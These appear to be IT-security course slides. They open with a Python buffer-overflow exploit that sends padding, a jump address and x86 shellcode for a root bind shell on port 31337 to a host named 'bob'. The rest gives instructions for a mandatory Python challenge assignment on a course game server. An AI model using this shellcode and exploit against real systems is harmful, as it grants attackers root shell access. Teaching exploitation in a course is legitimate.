



Introduction to IT-Security

```
#!/usr/bin/python
from socket import *

# *** Generated with lib9kallCode
# setuid(0) + setgid(0) + bind(/bin/sh) on port 31337
```

```
shellcode = \
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" + \
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" + \
"\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1" + \
"\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd" + \
"\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3" + \
"\x89\xd9\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\xeb\x18\x5e\x31\xc0\x88" + \
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" + \
"\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\xff\x62\x69\x6e\x2f\x73\x68"
```

```
s = socket(AF_INET, SOCK_STREAM)
s.connect(("bob", 12345))
padding = (64 + 8) * "A"
jmp_addr = "\xa6\xf7\x09\x08" # 0x0809f7a6
s.send(padding + jmp_addr + shellcode)
s.close()
```

Mandatory part 1 - Challenge game



Mandatory assignment Part 1

The Mandatory assignment in the course, means that it needs to be both handed-in and approved in order for the student to be able to do the exam, or he/she will miss an exam attempt otherwise.

Part 1 is a challenge with a list of questions.

- **You need to submit a correct answer to at least 30 of these questions.**
- **When you are done, you should upload you code with the solution to fronter.** (a simple text file with the code is fine)
- **Hand in is individually (NOT IN GROUPS)**



Do a python challenge

This challenge will give you some questions, and you need to provide the answers in form of a small program/function

Use the interactive python3 interpreter.

Steps are:

- Connect to server
- Get the first question
- Get the data for the first question
- Write a function that will answer the question
- Submit your answer



Starting it up...

- First start python in interactive mode
 - `python3`
- Import the challenge game (make sure that you are in the same folder)
- You can download the “challenge.py” file from fronter “Mandatory” -> “mandatory-part01-challenge”
 - `import challenge`
- Connect to the game server
 - `game=challenge.client(ip_address="cybergame.dk",port=29594)`
- Login (use first 8 chars of your kea email as user, and ITSI-F25 as password)
 - `game.login("test1234","ITSI-F26")`



Now lets go!!!

- Get the first question
 - `game.question(0)`
- Get the data for the first question
 - `game.data(0)`
- Lets create a function that returns the data
 - `def my_answer0(my_var):`
 - `return my_var`
- Lets submit our answer
 - `game.answer(0,my_answer0(game.data(0)))`
- It will tell you right away whether the answer is right or wrong
- You can at any point see the score by calling
 - `game.score()`



Reloading an already imported library

- The “reload” module will help us reload any module that has changed
 - `from importlib import reload`
- Then when we want to reload the module we simply call (replace `module_name` with whatever module you want to reload)
 - `reload(module_name)`



Post note

Question no 25 and 26 are a bit harder, so do not use too much time on these 2 questions, unless you are done with all the others.

You will not get many answers on the solutions for these 2 questions, but might get some hints.